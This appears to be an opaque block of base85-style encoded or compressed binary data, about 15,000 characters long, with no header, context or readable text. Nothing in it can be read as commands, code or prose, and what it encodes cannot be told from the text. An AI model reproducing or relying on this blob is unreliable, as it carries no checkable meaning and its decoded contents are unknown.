zzJ#T~d%I1_O3)CGM|B7dG@cgw6>Q8SE%(RtS=q4z*v)LTyhl6r%Hx1A3Ze`*0(%aQ z8t}46#nGK(Ml*`u{5Q!1C)`KYulV(WztFaB?FXr3yL3V2P^A%rH zrWW_SDfVned#*P8+F3#(skBi<#u7Zv4lCVOIH+mhF2ZWOUQgP*W&4*rHhFB_rJ8KD zc7Gz4sN@BiQtC%DkDSJ*5MkBnY1h?9%Ir0<=_Pdwe5pM0&Y$=$GLKuCI{RO+TcmTS z|KEyna~zH_+vPC`E=~WpDncQ~z zypCKYuW#J=U&&3-+&5&?h|u_5?5(w`4ua!qcHL4715YQcXtG?%f98MNNchNW;f=1a z0EVWOYe!=dQus(PVA+1|=%?L8xopm)e8DnqoQ6HT)6Ed`Rm#mYvg={vZ}Py>r7H`W zL^i{!s>dU;3mWo&lCblB32ff=vB~wRgY)aK8Y`0@G{;+aPP8HB7wqhOcKO3rM2zrf z@teeQ{5(1Ao!o^oy?=wP(p#1jWQJi-d`F=*l1Nt5b4Sq=!$Vs?s7x6+ur}v&reyz-6zGz{ zado)EB(RPs_@K`N(vypIujRL2FKof~IMFKRSCOKU&Nd_1xOfRehPX+yh z5L+5*a{m)bF~@aS)%jZEYBAmGJ+K2ceAP%4tC~&q7!StdB=as$+w1<}Q+LQzO&X0p zjOvhS_yxW@{_!y&Urq^wZmzorq;v>KJi1!(vF|U(-9fFAF3B1gt?=%mc`@ zhaHRZ@4Q@7{Mhq;q4XsXxbl!a!b zW~-mrrXdjp^QX7{5re z#=bE~Po_p4_&Oti&ZSZ3R!(0glD0TNDe)#RFxFGGJkp1H)s2wI-DIdU+L2hLll27;0$Og1)6!#JOwoR30z3QZ(L*X zi1s6^lJ3pG@lUbeGXAwqn#T^}Uv4t4)RU}TqJlAUh8Tw*Rmc%a@3K=%x2XvEGLA`-&P z^e;E+N3zveW0*E+IMiq&k2gAYT%)%MJO}93fi4+cWGxyFLKt+^MEMVVX={!n1M2Dg zcZDD+*2%_^rC!H3Oa?U@y6o+R_zeoe7kk&4d#2HifDz_nnw<|manBLZm3Fy>jsg*5 z^1v=F3Ewc?Y)_mo$Xk1p*Qio`J3Sc1+FR7kyQtF{1n$6R4h_a)!HO>ZJ~7Op5vaU& z13A=-(RsYOx)5~@iE1j}@NyS*SO&0YaEeT)nyuy=Z*Xo@ho`dX9AEF+7+nw5YXMa- zzc(!2^=iECL28|;}=f{*0&hVoS_k!tN z)O;4Wb+_yG3_2Cn#1K$;^(WgUe=y-1u!N)4J)Pcf_cAiL>^0>ZJ0+NVi`K}pP9(iTH>`= z$ssCF3xiv)b?GVFWMI%3od&3T4q3U$p(H@B12iyaPcs{*hXobAe4|&5YOBxcPdo@6 zJ*Pi0WBbfWt1ikg+KiABVx`5ia&5G78HZBk9tX8``{ioutT4-#$_0aeX1-Tl}E3;Q(HIPyRi=y~2uck+Em;2O6B-`pP299qx1pE_&Q$u_?5Ew@wK(`lHjF7bR< zqSie`{|9;na4nwgR+H~GoY?KMbjl@%Ro=Hn%Z~u((<#;0bJ*Gq% zjKrIe%&u1VFnrACIRn&5(6}00@o7}oeBNqXC)KG@$JJ}-o;)qZs8M;e(PX^A4!NnX z98gk0pEF&C6OD%VvAQBTS!`y|{>@Mf8l*Q`$Ul?3K>c$dR-s4QaiO!b>xJiqT}JWO zhWqBcWgEAHjDoHSb3kwSyxJ)<{WEN}lR{i!ym3dofh^vnm#vm~W))Mi^~r9yKU+&7 zd?#lYzWWINLX9z)u*J;yG2gfrm2VjH*+fCs1tEXqb+ve~0Zp|N!>9S62})>*H#zyy zXo9a>&44X2f|_q6;iFf(5Wz7}r;B>7(d0g#Ot?$eT!RnmGVSFXCYGBNo4p+lpy{BR zi8X=yENnb!F=9!w8%+5Q7|R)t-|XgopSdKrm`ltpb6*n6Eup@1Nl2P&NOk5ml{8VQ)OR8wX{8IgZ3s!Vq>@xq zDx_M%S2z3Z_ZRH3?VO!`-k0YK@tjMEW5ccAp(iKwDlUMghUH&8^|}OiRg6?-V)eVk z&iA=`C#4`0(4OKtK2xZ#6Gl`vsYOG(i%aR?;`U;+{}}3>)zVi`m80TZ12(F*Mz7KE zz)Euy@Cd>;&j0i>9=0_#{{FfZ*M)|MtP@MpGE= zM(&YLPwhrSbu-amNV%?81!byE<5!Knic|xq277dA4Z#R@lB(J0sXrrD^*e#c@Z9{x zQ2*?N!IfCt?6pBhsoJ=>NDfk-dy=)Fb2g8?Tr6R9vA0jb;>|k~&W>2q-Osx&m%gGmx86ceOHCD-gJZFGgu} zaKTJ16?<4jo%WTwLK}LKJ%oVjiahAWFQv+vtFp3pW(8}l3acsU6qh^`6vXA0ZeJ>u zzpPtI(Y*co95^D?ukplu)FF;?b@wu0b|OR?16LkPLB$GTJv8M^BPu`*V^Y(MGu``XgLbK7e%->oqvY6kBP)}Pnk@OR*1itDxB))p1;p3DK0;~al`coA>|QJuS>BhQ`htm zz%H@%ujiXA?ogS34+e@Uf#Mzf9SVB%c{{thlBPTrOR1?-Iv`b=q@tJ%)!91TI|9t4 zVpt#+&j4Uw8I+HPY7Nkg)-Rp{&GzDw5+hYr#QNnE0I*q72@&w82|iWIGu-YMrn<9W zWvpE*Rlths0pDtqqz0oh4L2+9NfMC4h+frHRXxhGNh#I}0* zLb!sL^(6ACgxqRU&0z(~s!nYK$%gmS1gH8RD&2{V{Jq<>_*l}4LPXF6tslS|c~btw zs^Y#P5*au?NHK|3%nN_`a#Llw?$zDX`paTGLlCsEOl}$9r$EE4r6vsB9R`T+qLgiR_5vs$XXwks>J3tK5JYtU|El#>{>>A0Hw9}?0Ot;P+$0Dv;+C1y;=T68|c+7n9{9!}1gRthM_5heZi(O>1 z)DZ`$&$L!4>Z)YG+r2YEC^lIr2rYyIgK(m%varO5{;Ak=Q(B0puyC80P8GwNfkox; zifkdnWQm>${G;#il8Z9u#0Q&D97Y8&#nfg%83Mx@bUS1sE3#RrjblVV`11p?nK@Fw z9;;84Jal6-X)lljCYMOxDj-G! z{aG$vQ?0fzSPwTgcxtC8d;}sq>M%y{$Vmi>EEZ=opu>Gqdz5d)7!q_^Vx0xxP?9~t zX19YZ80B&{!Y#YP9q^+Eqv7w>X$p3viRv2uHWdfdpJ~^KZ8ZHRuU}wrCnFk5B?|$|?Ng22o zi6)DViN3~&j5mLTUtAm&VV;!z zA)odCO?PdXVttw>(w;Ir%yy{PzRy9e8JOVW*?sCZ5(q^R5qA}EGd&Z$oQGoTQGNnM zM$P_;L|gEz!&rZTsDwD@koMj@C-3z$uU*j_R`%u)Wt025%&XoP)NjouJIub-qu+_H4uaSPX)p5Rq>x!HDAX(m zP{Odo(UW!wni!2WA!2~Kruo!s5n4s6$~C`btha#*(6`JZvSZ?ruJ)ymrB`5aw~BCb zXGy8+k(`SBRsgOg6KPFV9@206N*!AAyxQ8ZDq^DjyLXTBq8Ow{iwxZXg?Tq9NmmZCQ|V!cEYuqO`qIae2(u~%mgJeo^B%w zG;HwJPwdzL!(724Y38u}v;B5q>19S{B3^{u1G0etM2?=N2sk_8OZN`JvM#UH5prGQ z`pVZSz|*hP2Y9}-3G^)0NRY|kk9HaRnGM!?pk`! ze{!xYYILXaDV9CWfeH&8D0LM9Tz-dGYu0S5(=S?~M=0YUr4g!H_Jl`u^yp7c`O!aC zR@m0&T6}5l_h3u?h>EB30?pqk@e3i1{+@`$l(;8(8ZPB{^A{}>3N@~V`?@UHdL^OU z{nCNeBk%RcWqqwT(+N>o87lmt6f|By%%ydewIqDVuG`Jme_5oOT?uXTs$93)aV=QR z90s9HhPXe~t{0c*;)smK+Q0R>*DCx>dc!umx{16x6%l4~ht0698}6$uv3fDm%tszA zJ-U15&bm&=mY=^)hkLPkZf6F$RwG5a%OgcEIm3{*sQvLbwAbCcm>)yaO_=Q`AaShazwm&LP%#&^`~W^Q&AGq)72d23iSo) zMqbO;>V{S@OWf6BM>5g}4HQF;s4XH``0PUShSM{qe@3zjWtJM7d=t_*RiH*qp}vgH zbGkE8am8+EOHJfOOablAt1)2dwK5aYbq%_}!kCyjS@sRa>>kV!oT+J_lR zLt-L*e9GY8r&|Kgg8UME;D^FPb=0Npq6S zH5>5*nI2mtNhY!+G(CAKE9m%jeGftMdL!`kVsf2h%DJ34BGu`JFwP@K-{yJNC5`P* zBevg&0P2O?u@HD?k;s~e-{YUa(kcnjN>HMqzL5!vX6#oH!Jsc82!*NF+`1&ehsSBF zO%gP#J(Yx>W!!(HpR}kB+Bx=e&8?+4bE!^BUm}KPYmM->^YOOS02M=sCA9psr7Y-U zc6Yi%d1+E$RsdoGFagjdGTfqo$Qd?KBUAeXaNVY@a}q)c4dp^bf1qXF*WA3lIO8W` z?*fFOu@F8igfA6gB>-v}Mkpxgqm;NlH>T7l)i6F)wHs9I+fPb~X#yaTN_sB@uP_nA ziaP%HwXKbyvXHpGI3VC^z{L^pys7#}6mI%@+LzK4#>l$4#8M+;a4`<=AWSHHK^+J) zwS*AEkq2$apa*O7F3~@Ze5H9RT6P)qqLId^ph7k^K<(AwrLXiQ;{}*`8a^XJ`$tId z91HgIsyz4!Kf`j@9t1KIeU!D`m`GS)DX$<+&|to7#4r;v(zGElhnIXk(S}Ce=R=$j zWtpu`M2QLC_{e#Ieh7^;0IB+pWIG}Ql_l^eGGaPa(;balPIl&eGr zZ42W>5UEH8AmZ_*PfC9@=^j>2B+_^ZjVqFl@oWTgfKMac2jF;)0&gXL;v?sdfU5+! zc@`#2CwgxmI643XOLUncz%th7T#nhggn;YHigpTsM{V_!) z8yO<_^#T^@rO>E&k?6qz6v84#X!4`b=smj}CqSJjLcCQ5@l?bFn;0bk!UwIxY%9uR zD<(f?)h7TYd=nTaiAn~wIXIh*Fy}E~!{u-#2>XM9r*QN-TY#Ux;36tXUc<)v^Yw%v zS;*f+BRv)Qy8Fu8m=N&|+xJ%hS$A8dZ=CWY7HO9VAc=sST{ufw@V3l7*8WE@=UCzA z;q*@gBwueNUk}f}m|eGF0mA7c&yV{s-U-jo%p9X6kcBc*7nw+w5^u0c^-wVHWYf5? z$ugZ`3*kfZ0A^91Dn<;o}tj zAU2>RBrcG_ADgTfI*H$;D6|0Zkq~C7Xd6ZJmy3XfCM@t#SOK8Kzi_+Iqt?5bT%cHt zCd#RGY7*qXIxYHqK*(rmJkZk6*J754T4dqlwljXs5rsM(3b^;$N!*RG?ykWLcW|xU z0j*8}uyg??mKwZ9r!Q`{UO{KSp^=)TsKXM%S{=mRD{{C8AK6DGon*s36nDYdRqq(< znKF1b2&M~K3Lr$8h^YT`>(YlTBUSCELSRnqYIaf;=NI4zl{Rtg2V}HSdm9xYb_v3V z$>7N9)`OLxC3P@ON_;Cbcj3T@G`$(NaYa%98Gwaxa2yB`M#X-E_UFaGz6pu@A%rh2 zJyH<`Aw||o2}^8ZJo}c1Imk4`GBzmCT=+*SsacAwSHYeEkOUcgRIq}{M-50xpJ~k5 zUYM9USP+{!z*m%kaI-WL{5)tX@PAE32SbPqHf}d9z2cu0w;}K_iwtqq9|TDo{viDCu|X*e5s(N5c@+!EaRgxq$rNGKic>77~7Fe zy?KCzi%}F#ccU*V^X1gb>J#^00F5hvcqD{WNE+|=chdYP zhr9zK$wW9^0sb4Cv_Sx z(oJ&fKXk&D6DYaxK?3b^6oWKF8%UFEDv*&-!pJMGyK9s2a5Apr!S0(%FbA zrWu$J1|p4xJ0OAm41I8;_Q6fPA-%O^Z5mAMHgvBR?4QNozcuvmk9^4GiF8(GzJ@&c zf~!_79ivUcCj}43Ymsm8k349E$y!vxAdyLqZnUbt#DK+*PgMjZ1l`7drIA{`6C4c@ zcnRXNgy3av_SFvC9S$pz5u*nPUbM?99HmEJ2$$ZIZirx>cV1jj<+-U}t&uAJ4pf~f zP;x#2lnRJpH$J_T+{wHQ5(UV&Cd6^c>Yg1d6w>=c5y5JiJ5IyL3IGM2ILl7y{!Yq* zfyPwKf|T%5H1iq2QiLu_3n|+khCPk~ELoSN7>dC|`Aj?|36b(jK8FMZLp! zhz~hP0s!U+i1SjypX1LW`{GJoJi1p3v`9%Xn4I*u6lci+jo|Q3g#a%ij4Q-_K9GGmjyD@_o~hb-6`QbPM`xu&jZocXSYtjlaY)sVSp#G zMMYtA&(otGah>PAJTUVTVdz6 zq#2qRm?k&jh)#rVL+M`qb144Bdi~omWXC_o^l$oI*>c&JF0lwtOM5-_OzA(;%QGmt zjgY>TA8oH;yOB|U{OhTkS<8%z1GLbucWViKHB~DsbT8Fw2LS6X%)M?>UZGr@uj%mG z?H>=yWU*B4{o+>Ec;w~*MqG&d&X>0?hn`RB+0f;Z?Z{~-&O3AD!}m8qPq~zW7b;VK zjvIQl^uF%Mi{{Pv7Ioe`QKS-R zTY4&7<$Fn`s&(0YhuVPm)IzJ-O??2`L6i))=TCSSBqwd=}I; z=cgryA4}}8ZA6+J>YWDN`4gt65(H05PyN%)7NEnH&0#QH4*i3Mu?gUCH0oq>;!$@s zzV&&0oXkh-@zf{;N1mad(~fuhc~&j5f==_QRb!YOPwjGkZ$R*(LkGk7Pf#a9`?L&i z;D=>fbrR@c$#Ly>gR4NysLq5L{cWm%6yLbNPb=~(hgwMF9H17h&plzP8-W*diwGkE zyQ9g=8_w~R=#2GRYA0eF{o>!{0;caxvl9EJCU8cU;yHzKY6az5 zvgsDbXHzX)`_h-ips~H{y_$U)CyGIW%K%#`-YC|y2;D8)TBWH5lpHf+GgchcC}tzo z>)K!E=xk@(Ch+z(GzhlN>Lpadu94)HM38mXQP?TqBY{{u|z4_LLXKnm>9kIney5wLy@w z->I~L+{~AXVZ;yrCI;FT@nc10(qcvLd#KHemf;3D{m;? zNEK!{0BP(zTZc3OHt3cyU@9C4Zo)p~vLCWNJPp-DQV=8k1k+x;;mVw;oY3v(qGl)BN+bUx(B% zCI{A?nX^Oa=kgs-tDW1irn%JR_SRsM1X7NnHuuM@%*!~g+9ezkL{)Ev3D-V`GXOvQ z63^#uKR4Qx?LY^)e(Cpv64nUfT-+g8b%$Ja)w1ykUG_^4BhiMqO;si)P1`O%N?wP^ zvWAnte1fH20k@}xpBf)u>wdTy3jB~}tplvYxKOzrDhJ)%cAUTLB?6Cal{VgZB5}NJ zVg2k(n9I&1`;*1V8!=0BFdVQdIQITf!Q4{-9k4ABrn9a@C-kgsS7YFTsFSZ|>`V(v zc4SQ(fvtmf)>c2D1m~`{eGubc%?^g$rD6zK4Zt=({0h?Q6$`va;17>Z56wmOz)wD3 zE1mu1Kb;Y&pd{+_zI=s?UcQZ-8$Ld?S!Df8w~D}Wy3l9RRLnWcJ!Qn$q|-9Bc~j2C z*{@IA9A2L)s@$|`=4<=EqqPSsm$^E--zVMy}UkNM-M6+@`B0*N=*dTy8tos@Ag=SjU8DU$^V{>*Pyb{6>#_N<^z<|9 z-#Y#K^M!XrdKULUQiA=d;R9`1*SMQ!J#}x&Ukp`W+y3m!juWD;v3+NDcAj7LI)!8< zxl{4qm75oLzMnkx;%83MjT_7{BL3AF{BBJXdi_`Cf7&YvP?2jRw|La~chp|TU6z@9 z(l=Y~e#JTFG;sdQH#V#k~*v z2=ZIwOs5L*`Y&J3!K2?!m@eHm$jZWf@A^F8mvw#Ln{VfT=zo1_`t#+%wnW~_&0`iT z|9hZnv(%|e8H2vL79X?DsM~(}j;e~|<>vJ{1@?QVNOB(Bt;6%XSaZ$y#5YSX-K{w% zLzmy0?!4XXE?>C#;?1JvdDjy~72guh>-a6?1M3Y8{u_4PvUuQy;~Y=^tFN8%{cPGV zsqti<{qqZTx;s0D`j@wLeR|_{FlfbsI4JAerQe@!{^L5@Ua`H<{-0m*D}KMSsrWC< z`{vJ2iJ5gz_GZ7gd_A7?A04RfJpbF{L%hp?B{|*&vWikFO@^WerIaV`Ru6JJE6ydYF z5VsuPM2l7>cwDx0unoKBlC^5Ay$5>Aa2UD!*!%jZ?w!>|0D=V_j_U4t>aH|$12cPT zd;3-2OjlH^r)Pop_=UTFZgz(ybfzBkbS!WSZ@KF~>)!LZ>(GyGeDhsJj^q{}wazjK zJ#}w>(~9>%O=b}YlNPOzv~{eA|KIx`6hXzyqK}6ykD=kpIGkws=ZTs z#V;(wcW>*x%NLxk!21hY9aU;z_B6O%QX%C5!H`~bpaG^aWvUo?HKf9w#H%}Lhb_xs zs=0or0nh*g*CT74dV0_60f39_GkpLMg!i|qo!w~F2ZaqpjQE|1@uyo2=2`Wf2)wr` z)xV*~B{MZ3tbDM3sBd4GZ>sU&cjI23Re!Tv?=hu8`fPVYaWB#2!FSgOwz`Mfue5vh z+zTsq-Jlo1$nr?R-(*;=F1+chebw>ngMb3vdoSMm?+x?pICxQ0Qkvg{-nWE0T8%|1 zT*}D6UD6Xtul!CZY%u_}k6%QN6rD%{>~j@lXJNm5;0`_)R2YmQRHCkZr)h1kG04?s zz$|1ibFK5&oVf^0-KRLo_4(N$PkmoK=@!3R-ea!9fM7w7(RpI|WRS#Qrguo34 zVZMraSXs-}*n7`L?VcSUe0DP?-0>Cv99KEv*@e{0yzL59>i`5JqjMDgoZh2q)f$x! zr0(D5)ROSROn@dNnkPYK@z&TSQ>uJbgbZdA;2oZD)#2#?WWeTSb4v3dUi5Y-io@GE zP!dB%?~|cymR7pm3tm?;xc;Fpad!BlUYK3)NcoCq2d_oCoL&vP80K3NLNY&Vn5-e=YSOs+GSEPFhMWr; z(77=eUa6JsSCxU9Y*0_e)u(a4R6lIn0e0+&PQ=BWmOxtMXf5n3RW_F*<5F|Ee~rN2 z*W9N253JQfu3=+Tpd&+a5m%cI_Ah`(h5*&1=%26_k?+W}FI=r$E@g@L+gzn>A<7Ko zK2Ya|7<1D;94U2$K=T*AtF8|bVss-n(vx01Uf@zh+<+MjnN%*QbH{8ct$Q3_uS z!Uv6=Cd5{+zU}gCllqnk((*8<9@;)1S${f8%XCvz@5}D(k56Pv@onzv18@q9i>-lT zRgc4ng~@WhLUe{OQ~yUt9U(|hh|UmMa_Pr*(W@E0Kxh+s>nI{ifG$vYfow2B#AD`` zD<>iMl_72iAPNK};ne>_)=W;ILC_I{B$Pt;%ogzSBq*a%zA6i+F&c-Kp$e!JA`?nf z$c?NL%WJ$%THLKB2(LC?b|ex@JtiIkNCISz0G%I+b|HU24ZyOfywCwu9viPy2BFH} z`)W{wgOvtN=qyQ;bz#x2snVoeUVbhwj1FSU07Fik*|9i_z3}a^C!`Az3Ac{H&Coeo zMRrG|HEeDG2YsZgM1e+r+ImuX0GZRo%VVJ(%alI<<%J~?a+{F4aylQyg6E2O`vmA< z$qQv6G6Uk}4=9;OoRu%NjoZ;<6aV%RaM!0v z6|vgSlOwioO0|-ny%TzN^K`|RVZpOlO~2UMh|r|k6vNU^GK=dwP~?^iR~G_G5Y;rO zbQc?r7C;nQX&wuXfw-wnXjAG%rH-O}DN>6@eY^n(=A(K>G@smC4E8 ziXB9);=CGOnhX)fQ3#;go9qu^$a?$uyqGe?KXL&&!%TgP5bdVL)$=U8ZwmV=g@#G7TF=ybVGkA;mM6F*LAk5YuaBkel<{I1(0G|*!Umxb#sh&6 zvZOFuRuWQ%P+Yv(bQmsI!Rdsg(@R*9_+Y4-S6`GTK!=h~I{tvvb9u#IrtE)Qik6`R zYSLTVq?E7hQ%7yvo@~@^Vp_ftiCbB@@=v?I@47Cv7v%( z_U&cup=6b`fad4PEp5}rq#q5tXIA`|0r|vHBa7T*MQ%VLX$e@dsMudD+?I=WZqm51 zjCNY$snj5LGfNIs0O*ZdfB+-| zxm$)95}v^@UTPp+QxJN^4Oakq*8?$z6*C4cg*Zv4P5 z0qQJp#lR0=5lmAAMUr5JPFd!Q7$-hJg1C7Y-T`Ng>?P0$JF@OS^foySAki=2Aus~7 zu)$^_^b$I*iK~F)0|e-B*+AsK+4%xQp@o8};>8G>Rj9l?{t1*quI3k>nu6m0L$9aq zZ;u1qA;sO5iUtB`zn>yDi`(}vU{UXw>bxFqP+!wFI z$sL$59^mU4G4pPuiA(X89WSeXd;`~+tVlGSx^7J7 zPLNC*20NGEyoJvCQE^HQL!9iW*YNK4M<;Y-%R?uD$-6{-J7F&RQZf2qiajKa2(IGc z^?l~Pe137szmh9g@!S4gCgrQEEBO_4&?fg){n|vt8nFF%@uK$!D?x#>lpJpfWq{~JvM{8$MfOZw~nKb>b_YIv6o^S zl>P6OsCjD4=e7eVtyZXB*O<<)s0w;#d{_?y)e-3%9V8&ENm>;EOG%b>Z&YZDz^eV`Zx=lWOK19KI=X|G8r^0m@u%6ZP7# zo6)+PiKlkPaR93<3K?Oa8zSlHPs_qo`m9V4z7psvZ`3+_z;4E@;Yf>duvvAW9oFQi z*<26Ig&TkGd|gFU3b)DV1N85?kshL5qeI3z_e-NvNc$Vz*ay)yH?y7jf$&Pht#7ad zsAw6X<+XoBrMAh%&#Ovziho7yy4^0=N?P;tuXT*>-Q($(_GY~(bp6)#?MC$8JF}&i z+J3*>ZR7DXpz*D{eCkH+NcqmqKP{vG2Gk3YQ3)_Dpipa0%3BS1B8k0>6b>7oJ33*Y zLWVgpK00ZMjP)oSv~!}6JEQCeo`E(oN6$J1Fh6c^ezmEj;Fw_)XTX8HB!1@j1j1KC zq@@Ah{d7Jzb)*MA!$zxUB-CG+ZrZBH1`MQ64ynW_&Yc2ZcdsXayrg8!OKni+$p9CX zP^Y&sh4K3N_r`iImm+~c_p63>mcO>HpC$7&sbsEt0bUs+p}KvQP{@Nl>3dtytIfQe zIpYm-AGz`VwE^e2N3Zt6$wDO+H-4Wo1i^`;)h>&kitIGJEFED(glm!UC*fnkY=qw1 zG-2Mu9Zx>*e*Ek0U!dt>*51sRkJ0B>-_2h0UUG0RGHe_D+WA%9m6>~fe15nMU*x{; z;pcr*wfM#E)vR4(mUftUDa@H#By-D^VlhYX<&g3crv#=WvPBr!0H5qX+3ew$*tr#B!`d4M&Pf{`S za+ce`Ac4K`t`Q?5+LXu!2PJ{U!~Yeq!=4{sYczqvNz(OHvXCo)y~4L(6(%g0vIJ4 z^3kKSQGDKSwWD`VV>YV={`@Ev@H4SHA$Z+oNC=;P>Jhv?&0wHVT+-fwCu_oee_%2lyi}yz)iya8*jx?<~b!6 zcAn8;Lq+<%ta}y_o=V>Htuc60L5Zc+9iab`n7pRLTk{d;=exsaRQrX!6IjXbF((1J zUsjAZqmi6P{#6tKdg`;&f29Rakb?4hHD@M@izZC>KxINJ)Te{%;X5ZmZ9>kiRY4$uC$NYeSf*>-d-IUX1ATO8xmsSylp^XlX!j{`MKt{!d)1rCRnIFw@5+r=wPn8# z>XHE+UGH)ItxWen>4#7bzb>Uo)t#0%glrUv43#0!Vrs+Tj9cAPds>(Tq3z+J_PXkO z)sRKo*YRq#L^usVx@}P>Zd>vu8cjiHHeV^HX<7d@2NB*Us@NCfy)ZZBOEeOM?~wLT zmSpHPGoFWI=bKS|oM$ct>9~S%BNUMhcfZ2DfD-=Jy|m@Me%L--u4X3cov8mmuECnD z9wjTr8!Q$0w*?Rq(BYT|n2HmMVWv!tVTIi^l0rQ$p=~I;H2qJ{~ zU{8$4#qkejVVLVxMfYmuO9E1%rxacB6mzmK%Wb^WS%7{Xvn`2%Vgbk)#ss$dak>a4 z1QZWLWs!*BAjS$uQB*MitEMK#4~bNnDoSo3v05eCK}>`g zcAGYpamea+o+K8D8^f@W!YzcN$uJ+UKRtWPe7LO)s5bhO4@UyYA-% z(T%Id0)2b=#%p?s!cj-$0X3$WG!CfMGTMDacr{P!G>_A*lc16`)ZIR6d(d$ktVCGE!7C}*I&7T9RhNcVG9#FJHv36V-~9%s+0KJ3)% zrY8`*9^9VQbe)hA4^W3ru&*v{WHyeY&K?X*j9Gg|@KcZw5TbXDA-x9F+$yLFuxlWl z@yp8vVsaTM3%~XR2thCQ9zfHqOQWt%esM;Gw)yfHD-iQ_p{A;IuRaMK?j}Sd+&-*T zlsQZQXN3svBM8yyi-|0DZ>jQGtV3sSaBDldac-+`mI%cZk>8ofQ>x#Y8;N0L-|(+1 z!d!gP^-Dto7#mGXy~)Uv34(T=GXzIC&Oa+I~7!Q!|#qA{V+6j8f1ufQ}ZAaUo+R;3Urx2|^CjGsNgzGaf&)5cEf zXvmtEuKoHV3E!9KbDo${vuD*xqLCg}<)iD3_-& zeRQCDBG^D&+0;LANl}AIIXUMuekEnzc|f-XIB=_2@bX;WhFHg%t;H*niu^Fy}xHv>5ln>{mG{bn@`Pc zRV69d2CCBOJ zHRijXr({!;Z%Jm(Q`QN`K3s(LSL3GJ$1Lj8YPma-YaJWp>z_-#*SDPAdmioBaw6!$ zp(u+pd#7u>Mz4o_sxPd~yYl&j$~i>b^v#x9!I9~~PQ4oeGlK4!3py!{EuR}JK6iPw z+?e@%cKL$Xar+HeOZS$RoDt)xM-XB$A>USLa9ud;-z=O*s6xNv!m6+D@m z& ztZmh+>la_$Sv7t=dHm6rF~83PQ9i{~2-FgR4vf?H>S41N{Y z?|gl_Mg$Iho&8vS;7lJp6|^fWa&mwhmv3;p0$Jr2IVE{plrbLqLS$jL!h{|9C4~oq zHk0Igg@AsNx4um0=^8|Spp9~j#-n9DI8`)j$H3H%>@){{9;kkjkoG(v=}uRgQ+n{h zudPE{EoVPoTK;MyU%Vv0V|{D+65!gWO)FZ>DRMM{TcvWhcv*6NcCK>prc2>gG6TEQ zfCaq3r5lERM>=$j#iBqjSaVJC{(9G`2pLya3AixX$X3>z5ArJGp=Rg z_9tMUtrqXH)?r)iaJ$h0|wc!tO|d!yw}?9@NEyUchn^xXz} z+?IN1dcc1=Vh2f&tI%7vzer~UqiLCOf8v|SujW?D$}>UR)wbKZoVKN*+i4_wTg`Uc zx2Y&IF9pr3*8m!b6dHDqDnUx!4^Ru584?}3h@4o4!cat9Xr+Hx9X=URlOi(pLAWic0~c2qhSIM+|f}LW(tbmZ?kiv>p?f4%@ z_a4_`X~1} zIa~cMZVmOznRhXlmYZ~mhmSyjVo7KpAJfKv9-_Pep3;vEEXF#V`hC-!^fkbBn+zU`sIXo6hon* z02vEWq`fE_?c`WVAo9Tb(G}ou+L;?C+>cIT)RI`VKDbTI+vV{^8!g+}6 zLfShePU&J+8~P#Q30(k#&omS$Fp6%+;cW_b{r$aR9b(>(I>PrG>V{L33l0-CS&}z< zXJ%-31$5uK()}Rl>ZVx&bIg+$J#MR@&Nd9`(WT~x1y=16KmFtqhp?qP`P`cCUVICS70=k2Tr{Qs#T%=;pWYSJEy}iK0Jt5 z{9as&84G*Z9dn_h3{x6*@qu@>Rlkq2!u|La(TAL&sKh??Z2#xk-hWt~+aQe~h@T8;0Tzjf7G^h8X@0<^3}CmkH1jJ-Snp zQkD`frP@U`_}8aK?zHe+_eeRY!$*EQU9jPEL^Nb%W7U>&oID_DnCw13rfCK3i#rVF zITI?eGfbT^wIS#X{|z2HGI?h4#he!bnT3S5llzEZIlT1dDbws->+v|E)znnLUUw;^ zo?O02qXrM;z7#p?7Jq!XDEFPiKVa&R!RPv6(&~ zcv`NmcQEWL?&OW%-nV-edpIDs_U|+6|GsvxDDUG-wbUZCrMTeBo5ADoq0uAfOvoHw z^1V^o7O(-L}3V1q3QBnXP!5c0_uRmz( zGT|!0Tlr4~P)w9JS{6J><)GmfO?)tDV)R%!{+v)zL7qPAY^LJMbO&=u;c=c@m|Hu+ zIgbipv$<{2kadCA^UjvIxyGBj=;KHJ62oVkPe6YQcGp~>xM<`Jg~u+nULRpt4PKsT zv-XI8Iox^9*}vx8L;v6amkR&UX$B?X8)4QXO*nl)(qN?J=0}6`>~2(CEo{!>OFRQA z0Ha)0eV7=-Zar?@Bz)D&UO_^!O;m2=KO#FO=Spx%C+6+OsZvp0^LL`0Uf2vKiv1@N zrM;)46MAc1y_lY2qa|6cVBFN(C>YOl)SV>F9b|ptbu##a8 z##_o&9Wj%wIAjMUfpi;gYx{hN9O1C}8lheBy4rkyjfVs#0k}h}i23rTgkWt1dsBRZ zP7HfYoLdlbpu;0Q;7uH1EU3wt@y~AX#qKfx)}2Y?O&d->9Y2tDfBBn(zUBl5Seom(OTs*!;jC@M*4CXH_C9F^nHwY55p4?zN2qhW2!FQ}Ow(Qw zg!<9+GUK?$QJnW9`mGxCR4!l4*NsLI9bV~ihw=>5BKb?>-(=?e7KSpCz4=)3`3{R? z{$Xat@*iTN&2LXTlLBr1Yol2gl=k?#1?!p$_eFaAkdGx@7%6I;f1%~gr-9ioe|;HT z_{V?WtS328l>X9q+139!4w~lcjMg8_83*S%Q5`NjA3Rf1p%TQ4g2TuLv;(NdUSx$}I6&{~H}KR65Z z5`F8%JC63)9^i-{GZZ9r48}8LgNmg@^^v^kaQ5qoC`X#0EEoI9dYmH-P^n?6rgH7< zE4%IHmCHWPGD&}G-SDs0A|@t&*RDNXV>3LT(*27a%-rRF9P(0t@i|AV+ZExnvp+#E zvjB`Qg7bf*uCdfS09$qC<#%Z%6hsANb8q@R8YC}kPr+F-pK;pjYZqPau?(cW4)qd1 z>BYSam*RMAtlTKGFPqUffg}9}F>oixY?ym1p!!TDI|INL1F(HneXR)l8n#AfufHq8 z3u+x$XR0Nr8--nx^V;^b402Z1;|a|=`iK&G|J%+;q-pgD-T=5=t2cJ+JPQ^o|M9=3 zevlc50pk*G`rpi|HEeD6wkc+UcH)Ou!vjCpd;Z6Cc<=b|jfPPlaBpm(*ea=&vZp=r zYJWUiglu7rc^dnxKyw{>Fn7|t2Z3u81X)j!f<|24N$ilACLcescuynGM~`6Bb3r4` zWcK8RrFfgO0qNj9DGgnJ;_7DJ8>(FPxe(dmqiZ7j^B_zI(mVATEV!|8xh+r30YD{5dD9z{liK8JI1bbStdhfP#+!>Sw@QsHp>|22~aZT|@y`87b zhT5-wd%s0&y=wGW-2yzAly&jVd9sa#kCE$beD(aR6`a2p1~$FTX$yZ*s@)oh;_(rw 